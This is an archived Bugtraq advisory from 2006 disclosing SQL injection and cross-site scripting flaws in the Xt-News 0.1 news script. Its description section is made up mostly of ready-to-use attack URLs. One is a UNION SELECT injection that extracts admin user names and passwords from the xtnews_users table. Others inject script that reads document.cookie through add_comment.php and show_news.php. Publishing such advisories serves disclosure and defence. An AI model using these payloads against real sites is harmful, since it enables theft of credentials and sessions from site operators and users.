Home page logo
/

bugtraq logo Bugtraq mailing list archives

Xt-News 0.1 : SQL Injection Vulnerability & XSS
From: mr_kaliman () msn com
Date: 22 Dec 2006 02:23:48 -0000

Xt-News 0.1
-----------
Vendor site: http://dreaxteam.free.fr/forums/
Product: Xt-News 0.1
Vulnerability: SQL Injection Vulnerability & XSS
Credits: Mr_KaLiMaN
Reported to Vendor: 10/12/06
Public disclosure: 22/12/06
 
Description:
------------
SQL Injection Vulnerability:
http://[victim]/[script_news_path]/show_news.php?id_news=[SQL INJECTION]
http://[victim]/[script_news_path]/show_news.php?id_news=-1 UNION SELECT 
id,user,null,null,mdp,null,null,null,null,null,null FROM xtnews_users WHERE admin=1#


XSS:
http://[victim]/[script_news_path]/add_comment.php?id_news=[XSS]
http://[victim]/[script_news_path]/add_comment.php?id_news=";><script>alert(document.cookie)</script><foo "
http://[victim]/[script_news_path]/show_news.php?id_news=[XSS]
http://[victim]/[script_news_path]/show_news.php?id_news=&apos;><script>alert(document.cookie)</script><foo '


-------------------


  By Date           By Thread  

Current thread:
  • Xt-News 0.1 : SQL Injection Vulnerability & XSS mr_kaliman (Dec 22)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault